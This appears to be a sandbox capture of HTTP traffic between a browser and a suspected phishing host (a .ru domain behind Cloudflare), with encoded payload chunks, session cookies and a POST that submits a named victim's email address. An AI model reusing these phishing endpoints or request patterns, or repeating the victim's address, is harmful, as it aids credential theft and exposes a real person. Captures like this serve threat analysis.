2025-03-27 13:34:25 UTC	1369	IN	Data Raw: 4d 2f 50 33 41 43 50 54 41 5a 43 68 55 4a 47 54 42 5a 49 6d 67 64 49 79 6c 42 42 67 45 73 64 79 77 39 4d 47 67 52 48 77 6f 65 42 58 67 4b 47 54 67 39 41 6a 45 52 45 78 56 30 42 54 45 6a 48 53 63 48 43 67 34 5a 56 41 34 77 4f 79 30 75 4e 69 4d 2f 50 33 41 43 50 54 41 5a 43 68 55 4a 47 55 38 48 44 77 49 33 4e 52 49 6c 41 67 49 53 53 53 77 39 4e 42 6b 4b 42 52 6b 77 4d 30 51 67 45 68 34 39 4b 42 38 30 48 53 39 67 4a 43 30 31 47 51 6f 46 48 44 63 33 52 41 38 5a 4f 43 30 48 47 42 55 45 4f 55 51 73 50 54 41 5a 43 68 55 32 4a 52 6c 55 43 68 6b 34 50 53 6f 32 47 52 4d 54 52 43 77 39 4d 42 6b 4b 46 52 6b 33 4e 46 6b 68 61 41 45 73 4b 42 67 2f 45 7a 39 4a 41 69 30 33 44 51 35 48 43 69 41 46 65 41 6f 5a 4f 44 30 43 4f 6d 41 2f 50 33 41 43 50 54 41 5a 66 67 67 4b 4c Data Ascii: M/P3ACPTAZChUJGTBZImgdIylBBgEsdyw9MGgRHwoeBXgKGTg9AjERExV0BTEjHScHCg4ZVA4wOy0uNiM/P3ACPTAZChUJGU8HDwI3NRIlAgISSSw9NBkKBRkwM0QgEh49KB80HS9gJC01GQoFHDc3RA8ZOC0HGBUEOUQsPTAZChU2JRlUChk4PSo2GRMTRCw9MBkKFRk3NFkhaAEsKBg/Ez9JAi03DQ5HCiAFeAoZOD0COmA/P3ACPTAZfggKL
2025-03-27 13:34:25 UTC	1369	IN	Data Raw: 33 4b 45 51 5a 4d 44 4e 45 49 42 49 65 62 51 67 62 45 52 4d 2f 63 41 49 39 4d 42 30 42 42 44 4d 5a 4a 46 38 67 4d 42 59 39 4b 52 39 70 41 53 78 6e 4d 42 45 77 47 51 6f 56 47 54 63 33 56 42 6f 33 51 43 4d 52 4e 51 59 4e 4f 6d 73 4a 4d 69 4d 64 4a 30 4d 7a 44 68 6c 55 44 51 49 37 62 67 51 46 50 78 4d 2f 63 41 49 39 4d 42 6b 4a 47 44 51 73 50 45 6b 68 61 54 42 73 41 6a 6f 53 41 68 64 6b 64 6d 6f 6a 41 67 4a 46 45 78 30 33 56 41 6f 5a 4f 32 4d 49 47 78 45 54 50 33 41 43 4c 79 42 6f 63 67 63 30 4d 7a 42 5a 4a 78 6b 37 4e 79 6c 42 47 67 41 2f 64 41 6c 72 48 52 49 5a 42 44 49 65 42 6c 77 68 61 53 4d 32 4b 42 73 53 51 7a 56 61 41 6a 30 77 47 51 6f 56 47 54 4d 38 57 78 70 6f 44 54 51 6f 48 32 6c 46 46 46 34 53 62 44 41 5a 42 67 55 64 4d 43 64 45 44 42 34 34 62 51 Data Ascii: 3KEQZMDNEIBIebQgbERM/cAI9MB0BBDMZJF8gMBY9KR9pASxnMBEwGQoVGTc3VBo3QCMRNQYNOmsJMiMdJ0MzDhlUDQI7bgQFPxM/cAI9MBkJGDQsPEkhaTBsAjoSAhdkdmojAgJFEx03VAoZO2MIGxETP3ACLyBocgc0MzBZJxk7NylBGgA/dAlrHRIZBDIeBlwhaSM2KBsSQzVaAj0wGQoVGTM8WxpoDTQoH2lFFF4SbDAZBgUdMCdEDB44bQ
2025-03-27 13:34:25 UTC	1369	IN	Data Raw: 47 51 49 7a 61 43 6f 6c 48 68 67 56 53 67 45 33 47 32 6b 43 46 51 6b 61 49 45 6b 69 44 55 77 32 4b 45 45 65 47 42 56 4b 41 53 77 6a 4d 77 6b 61 4d 6a 4d 42 56 43 42 6f 46 57 77 52 4b 68 30 42 4a 6e 42 36 4b 52 67 4f 66 7a 6b 5a 4e 7a 64 55 43 68 6b 34 50 51 49 78 45 55 77 55 64 43 68 78 4b 52 49 46 51 6a 4d 5a 54 30 59 5a 49 45 77 65 4c 69 55 61 47 42 56 64 44 54 59 67 61 52 30 4c 4d 53 77 6b 42 68 4d 5a 51 43 41 76 4f 68 6f 43 46 46 34 67 63 54 41 5a 65 78 55 46 50 44 78 46 4a 78 30 76 4d 43 38 31 50 41 45 73 53 67 46 76 47 32 6b 64 43 78 6b 7a 4a 46 73 6e 48 54 77 39 4c 30 41 38 52 42 64 77 41 54 49 6a 45 68 45 61 4d 68 6b 34 58 78 6b 5a 4f 79 41 52 4a 52 35 46 46 56 34 76 61 68 77 4a 43 51 59 4b 49 7a 42 4a 4a 77 49 7a 4e 69 67 4c 5a 45 77 36 41 54 73 Data Ascii: GQIzaColHhgVSgE3G2kCFQkaIEkiDUw2KEEeGBVKASwjMwkaMjMBVCBoFWwRKh0BJnB6KRgOfzkZNzdUChk4PQIxEUwUdChxKRIFQjMZT0YZIEweLiUaGBVdDTYgaR0LMSwkBhMZQCAvOhoCFF4gcTAZexUFPDxFJx0vMC81PAEsSgFvG2kdCxkzJFsnHTw9L0A8RBdwATIjEhEaMhk4XxkZOyARJR5FFV4vahwJCQYKIzBJJwIzNigLZEw6ATs
2025-03-27 13:34:25 UTC	1369	IN	Data Raw: 68 30 58 5a 44 73 71 48 52 49 67 53 68 78 48 4f 41 4d 67 4e 30 41 76 45 51 68 6b 45 7a 70 67 41 51 34 62 61 44 4e 44 4e 44 4d 61 52 53 45 30 4e 44 30 76 4e 54 67 63 45 6e 41 42 4e 42 6f 33 63 6b 45 5a 50 42 4a 44 4a 78 30 65 50 53 34 6c 61 55 55 56 57 67 45 7a 48 51 49 46 41 6a 49 5a 49 45 6b 67 49 30 31 69 42 30 41 6f 42 43 5a 55 4c 44 30 77 47 51 6f 56 47 54 63 33 43 77 39 70 4c 79 6b 62 46 54 38 54 50 33 41 43 50 53 6b 5a 63 67 67 4b 49 7a 67 44 49 67 31 41 4c 78 73 56 50 7a 38 2f 63 41 49 39 4d 42 34 7a 43 41 6f 6a 4f 41 4d 69 44 55 41 76 41 6a 55 38 48 79 5a 67 43 54 49 67 4e 33 4a 44 4e 44 63 2f 56 42 70 6f 41 54 49 6f 51 52 31 4e 50 31 34 46 4d 78 74 70 48 55 49 5a 48 6b 4a 34 43 68 6b 34 50 51 49 78 45 52 4d 6d 64 43 51 6a 4b 54 45 4e 47 7a 4a 48 Data Ascii: h0XZDsqHRIgShxHOAMgN0AvEQhkEzpgAQ4baDNDNDMaRSE0ND0vNTgcEnABNBo3ckEZPBJDJx0ePS4laUUVWgEzHQIFAjIZIEkgI01iB0AoBCZULD0wGQoVGTc3Cw9pLykbFT8TP3ACPSkZcggKIzgDIg1ALxsVPz8/cAI9MB4zCAojOAMiDUAvAjU8HyZgCTIgN3JDNDc/VBpoATIoQR1NP14FMxtpHUIZHkJ4Chk4PQIxERMmdCQjKTENGzJH
2025-03-27 13:34:25 UTC	1369	IN	Data Raw: 31 36 47 6a 45 6a 41 56 6f 4b 45 6a 73 70 45 69 55 65 47 42 64 30 65 69 6b 6a 48 52 30 4c 41 43 63 38 61 53 46 70 4c 79 4d 43 4e 77 59 41 4c 32 51 76 4b 54 41 7a 43 51 73 4b 4c 44 41 43 49 67 49 7a 4e 68 45 32 5a 44 38 2f 63 41 49 39 4d 42 6b 4b 46 52 6b 33 4e 77 73 6e 48 53 39 75 4c 7a 55 57 44 53 78 6b 42 6a 30 62 4e 77 30 47 43 69 42 47 57 69 45 4e 4c 79 41 6f 51 42 59 61 4c 47 41 4b 50 52 6f 33 63 6b 45 7a 44 6b 5a 61 44 51 6b 77 50 53 67 31 4b 42 77 76 41 52 55 31 47 32 67 7a 47 51 6f 73 50 77 6f 4b 4e 68 55 73 4c 79 6f 5a 45 79 4a 6b 46 53 41 61 61 41 30 63 43 69 63 2f 56 43 41 33 4c 79 49 76 4a 54 77 4e 4c 47 51 53 63 53 6b 5a 63 6b 49 4b 4c 42 34 44 47 67 49 7a 4e 68 49 6d 5a 44 38 2f 63 41 49 39 4d 42 6b 4b 46 52 6b 33 4e 77 73 61 4e 43 39 71 4c Data Ascii: 16GjEjAVoKEjspEiUeGBd0eikjHR0LACc8aSFpLyMCNwYAL2QvKTAzCQsKLDACIgIzNhE2ZD8/cAI9MBkKFRk3NwsnHS9uLzUWDSxkBj0bNw0GCiBGWiENLyAoQBYaLGAKPRo3ckEzDkZaDQkwPSg1KBwvARU1G2gzGQosPwoKNhUsLyoZEyJkFSAaaA0cCic/VCA3LyIvJTwNLGQScSkZckIKLB4DGgIzNhImZD8/cAI9MBkKFRk3NwsaNC9qL

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:25 UTC	1128	OUT	GET /mxkBWWeN9hECFQlpLe9bnBz2 HTTP/1.1 Host: mgdm.icemiceop.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im9SM0h5WXlDT0lLQm9aN3BaeFR0emc9PSIsInZhbHVlIjoieUJSNGRnNEFVdEZPK0tOanB6S2syYTVjMlVKaHpZMnY0SzV4Sks3R0k5NjQyNk5VM1N6c2lNdUFVZGRFQ1dManFnMlUxUmVreFFaQWJ6Z29sSGorVFBUTTR6eFpWYm1PWU9xbER4UlpPVWhna0tiSFRuUGk0dFNPM0w3R1BWTisiLCJtYWMiOiIzMzFlOWY2OWE4MjQ3YjAyMDRmNjJkMTg3NGYwMGU5NzViMzcyNDMyOGJlNzFiNjg5MWNjMWE4YmVlOWZiMzdjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InJxRjlvV1ZHaVYvMFBNeVU2eGYwWkE9PSIsInZhbHVlIjoickxPM1RvUDJScjVlQ0ticGdlQ0cveHdjdXlEenc5ZUoyRkpWQXhsZWpjZzN0bzljWHRLNVYremFoVGhFWHFVUEtQNDFGVzY3elcrOXB6NUpad1cyeUhaRzVMVkVnbHh2eDNZVzZxZzRpSlp0NVRSSzB1YVVEcWRySnZVZkgvUksiLCJtYWMiOiIxODlkNjgzZDgwZTFjNzA2OTQzNThiODYwNzY3NGQ3MzAyY2IyNDQzZTA2YTk3NDUyNzUwMTQ2ZDA3NzQ4NzU2IiwidGFnIjoiIn0%3D
2025-03-27 13:34:25 UTC	1034	IN	HTTP/1.1 404 Not Found Date: Thu, 27 Mar 2025 13:34:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lS8%2Feq8M7CN6B8GWR5poEYDTS0j3T1816tdkUMPRolPy5vltuU%2FT4GYe573xGbzcd9XtHFxF9Alud8WFRkn4KhJQLqA%2BHob3LqJKAGGde1Jjub5pVVxGo4FzzjdCaU82yCli"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=20536&min_rtt=20452&rtt_var=7730&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2043&delivery_rate=139252&cwnd=252&unsent_bytes=0&cid=27e80ee97fbfa85e&ts=226&x=0" Server: cloudflare CF-RAY: 926f43df5adb4358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=83330&min_rtt=83305&rtt_var=17616&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1700&delivery_rate=36648&cwnd=252&unsent_bytes=0&cid=06c57c3d628883ed&ts=612&x=0"
2025-03-27 13:34:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:25 UTC	1496	OUT	POST /xy5ySUVfUFn8DeLTnPKM81kxOjq4Yud8ulXg4K6GwreoxBOxBeKC3fq HTTP/1.1 Host: mgdm.icemiceop.ru Connection: keep-alive Content-Length: 42 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://mgdm.icemiceop.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://mgdm.icemiceop.ru/ZwM7s15/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InpVczJiNW9zZ1NOMk1jS01vdWRlWUE9PSIsInZhbHVlIjoic3BDTDlxSEJQcEZtTTFjTGt6L3lDTUhuVXV4SVpOT0ZMaHljN3ZuUGN0MlNsalFWbEN6c3I5bWFKdU1JWFgwSDBjT0w0dXBsZXR2S3ViaU5BRHdtYUdBQW9JNWJMS0N5c0IxUk1QOFpZYXQ1RlMzb090eHRiYVc3ZHpuUzNDZ0MiLCJtYWMiOiIxNmU2NDQ4MTQwNzYyMzNmNmEwZTRkNTZjNWIxMjg0OTZkNDE4YWY0NzgwZTdkM2VkMmE4YmU4ZGZkNTI3YTI1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlMyaUVzbnJLSVVXbnBEdlBQSm9XYVE9PSIsInZhbHVlIjoibzk5bmFaZUt0eEZRbUpacXFEQUNYR0NzcmgrazdmS3JyTC9BWEw3U1pSZjJaT0xKMms2MWF6R0I2bjYxZ3J3S2k0N1Z5YjU3UE8wdFpJVElDc3pyUEV3T1U1MCtUT2xBKzVGTkFqVnBtbTZ0VC9TWHYvRFVSemdXK1VsMDVJOXgiLCJtYWMiOiIxNWNiYTA5YTc3MjhiYjJmOTYwNzkyOWYyMTk0MzA4MTk4ODA5YmJjNTNmZGExZDkzZjczYmYzZGVlNDZiYjhjIiwidGFnIjoiIn0%3D
2025-03-27 13:34:25 UTC	42	OUT	Data Raw: 64 61 74 61 3d 6a 76 73 61 62 69 6e 65 2e 68 75 74 63 68 69 6e 73 6f 6e 25 34 30 63 6f 6e 64 65 6e 61 73 74 2e 63 6f 2e 75 6b Data Ascii: data=jvsabine.hutchinson%40condenast.co.uk
2025-03-27 13:34:26 UTC	1218	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=97PDHNL6VGWj52RTqHWCkyt4vd%2FohaWF8FGMe8scBhIirJCKIgehm5BMdwsv2r1wUdVqSJphruFXWUumOQCFcL%2BZ0kN7uxt7BeB9AD%2BMc3Nb3x%2BPuyYqhD%2BnTmHSKSADnrfA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10140&min_rtt=10049&rtt_var=3834&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2452&delivery_rate=283411&cwnd=251&unsent_bytes=0&cid=27ffc18594b7cae6&ts=241&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjlRN0xmdW55d1R0L1BydWU0QTRFeEE9PSIsInZhbHVlIjoid0VkOVlxQkZHRDBNVGd6aHM2NnNZaEVtS3l3U21kR3RmT0xINTBoaDVjcnFsMjNGRE1aMmd2ZDhwZGwxQVdxdk95UGczbkhyTDdPS05kS0VaWDJlcGhTVlZPOERQZ1B0RmpEamY4N3FWTHpvSHJCR3RIS3loNXN1RFdBR1lWOTEiLCJtYWMiOiJkMzJhMGZmMzJlMTZiOTZhYTdkY2FmZGY0ZWE3NTNjYWYwMjljNDMzNWU0YWYyYTkxYzRhMWRlYjAzMDhjYjViIiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 15:34:26 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-27 13:34:26 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 70 46 64 55 5a 74 61 44 46 45 61 54 4a 61 65 6a 52 71 57 6c 46 4c 5a 6b 4a 6a 62 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 56 6d 5a 36 63 57 64 4f 4d 47 78 54 64 57 74 44 61 30 52 35 52 30 73 30 57 44 5a 55 54 43 39 47 54 48 64 79 53 33 4a 6b 63 45 46 78 55 57 74 43 61 32 56 74 53 44 41 79 64 7a 42 42 4f 47 35 59 53 44 5a 56 51 69 39 44 55 48 52 73 61 6b 52 59 54 6b 49 78 4e 48 4d 76 56 47 63 72 57 53 73 76 61 48 63 72 54 55 4e 32 52 53 73 76 63 6c 68 47 51 57 30 35 64 47 39 68 55 58 42 79 51 53 39 4d 55 30 52 36 53 43 73 77 54 32 31 55 4f 54 6c 57 53 48 42 50 57 48 5a 77 62 79 74 54 4d 6a 5a 48 59 30 4a 55 53 55 78 45 64 43 38 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlpFdUZtaDFEaTJaejRqWlFLZkJjbFE9PSIsInZhbHVlIjoiVmZ6cWdOMGxTdWtDa0R5R0s0WDZUTC9GTHdyS3JkcEFxUWtCa2VtSDAydzBBOG5YSDZVQi9DUHRsakRYTkIxNHMvVGcrWSsvaHcrTUN2RSsvclhGQW05dG9hUXByQS9MU0R6SCswT21UOTlWSHBPWHZwbytTMjZHY0JUSUxEdC8
2025-03-27 13:34:26 UTC	293	IN	Data Raw: 31 31 65 0d 0a 7b 22 61 22 3a 22 43 74 76 6d 53 69 55 6f 73 42 68 38 38 46 55 62 4e 73 63 32 64 64 7a 64 61 4b 44 45 4d 74 4c 51 71 64 4d 62 74 4a 74 64 36 31 4a 53 41 4a 7a 75 43 6e 67 42 77 4f 64 2b 74 4f 37 6b 61 4b 4e 43 5c 2f 6d 59 66 48 48 54 6c 37 4a 78 31 41 56 31 71 4a 55 52 57 4e 56 4d 61 4c 6f 76 6a 62 47 2b 43 79 6e 4c 46 35 62 39 4f 54 70 47 6f 37 76 35 34 7a 32 74 75 49 4f 50 7a 67 4a 58 44 6f 4d 73 62 22 2c 22 62 22 3a 22 33 33 38 32 34 61 31 30 33 64 33 31 35 36 32 62 34 36 63 63 30 33 62 65 31 34 31 38 38 65 66 38 22 2c 22 63 22 3a 22 31 35 32 64 33 36 34 30 62 63 36 63 34 62 61 34 32 38 32 30 32 33 35 39 36 36 63 32 61 35 30 66 22 2c 22 64 22 3a 22 33 32 33 35 36 33 33 36 33 33 36 35 33 37 33 33 33 33 33 37 33 34 36 33 33 30 36 36 33 33 Data Ascii: 11e{"a":"CtvmSiUosBh88FUbNsc2ddzdaKDEMtLQqdMbtJtd61JSAJzuCngBwOd+tO7kaKNC\/mYfHHTl7Jx1AV1qJURWNVMaLovjbG+CynLF5b9OTpGo7v54z2tuIOPzgJXDoMsb","b":"33824a103d31562b46cc03be14188ef8","c":"152d3640bc6c4ba42820235966c2a50f","d":"323563363365373333373463306633
2025-03-27 13:34:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:25 UTC	542	OUT	OPTIONS /report/v4?s=lS8%2Feq8M7CN6B8GWR5poEYDTS0j3T1816tdkUMPRolPy5vltuU%2FT4GYe573xGbzcd9XtHFxF9Alud8WFRkn4KhJQLqA%2BHob3LqJKAGGde1Jjub5pVVxGo4FzzjdCaU82yCli HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://mgdm.icemiceop.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:26 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 27 Mar 2025 13:34:25 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:26 UTC	517	OUT	POST /report/v4?s=lS8%2Feq8M7CN6B8GWR5poEYDTS0j3T1816tdkUMPRolPy5vltuU%2FT4GYe573xGbzcd9XtHFxF9Alud8WFRkn4KhJQLqA%2BHob3LqJKAGGde1Jjub5pVVxGo4FzzjdCaU82yCli HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 409 Content-Type: application/reports+json Origin: https://mgdm.icemiceop.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:26 UTC	409	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 36 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 39 36 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 67 64 6d 2e 69 63 65 6d 69 63 65 6f 70 2e 72 75 2f Data Ascii: [{"age":0,"body":{"elapsed_time":864,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.96.1","status_code":404,"type":"http.error"},"type":"network-error","url":"https://mgdm.icemiceop.ru/
2025-03-27 13:34:26 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Thu, 27 Mar 2025 13:34:26 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:26 UTC	1159	OUT	GET /xy5ySUVfUFn8DeLTnPKM81kxOjq4Yud8ulXg4K6GwreoxBOxBeKC3fq HTTP/1.1 Host: mgdm.icemiceop.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjlRN0xmdW55d1R0L1BydWU0QTRFeEE9PSIsInZhbHVlIjoid0VkOVlxQkZHRDBNVGd6aHM2NnNZaEVtS3l3U21kR3RmT0xINTBoaDVjcnFsMjNGRE1aMmd2ZDhwZGwxQVdxdk95UGczbkhyTDdPS05kS0VaWDJlcGhTVlZPOERQZ1B0RmpEamY4N3FWTHpvSHJCR3RIS3loNXN1RFdBR1lWOTEiLCJtYWMiOiJkMzJhMGZmMzJlMTZiOTZhYTdkY2FmZGY0ZWE3NTNjYWYwMjljNDMzNWU0YWYyYTkxYzRhMWRlYjAzMDhjYjViIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpFdUZtaDFEaTJaejRqWlFLZkJjbFE9PSIsInZhbHVlIjoiVmZ6cWdOMGxTdWtDa0R5R0s0WDZUTC9GTHdyS3JkcEFxUWtCa2VtSDAydzBBOG5YSDZVQi9DUHRsakRYTkIxNHMvVGcrWSsvaHcrTUN2RSsvclhGQW05dG9hUXByQS9MU0R6SCswT21UOTlWSHBPWHZwbytTMjZHY0JUSUxEdC8iLCJtYWMiOiI1YzBiNDY5MTJhMTc5ZGU2YjEyMTlmMzcwMjRhNzFmMWZkZjZmZjM4OTYyYTZmZGFkYmFhOWY5NGE4NDljNDllIiwidGFnIjoiIn0%3D
2025-03-27 13:34:27 UTC	1040	IN	HTTP/1.1 404 Not Found Date: Thu, 27 Mar 2025 13:34:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hgASK162uK7RewB95lf2Kxr39SHfg5CRXIMhyJZYpa6ammIfXppvqsqNRxFZ8iFxp9XeGw7ujFfaRu%2BKs9lGT%2FIs32UPPcT4R%2BZ2M%2F38ftNdlBa8zIA3WSQM%2B%2BkDZkbRyUm6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10503&min_rtt=10481&rtt_var=3946&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2819&recv_bytes=2073&delivery_rate=271729&cwnd=252&unsent_bytes=0&cid=05d14fcd1ba37950&ts=435&x=0" Server: cloudflare CF-RAY: 926f43e9ad874406-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=87408&min_rtt=84437&rtt_var=20928&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1731&delivery_rate=36191&cwnd=252&unsent_bytes=0&cid=91c999d201ce1218&ts=797&x=0"
2025-03-27 13:34:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0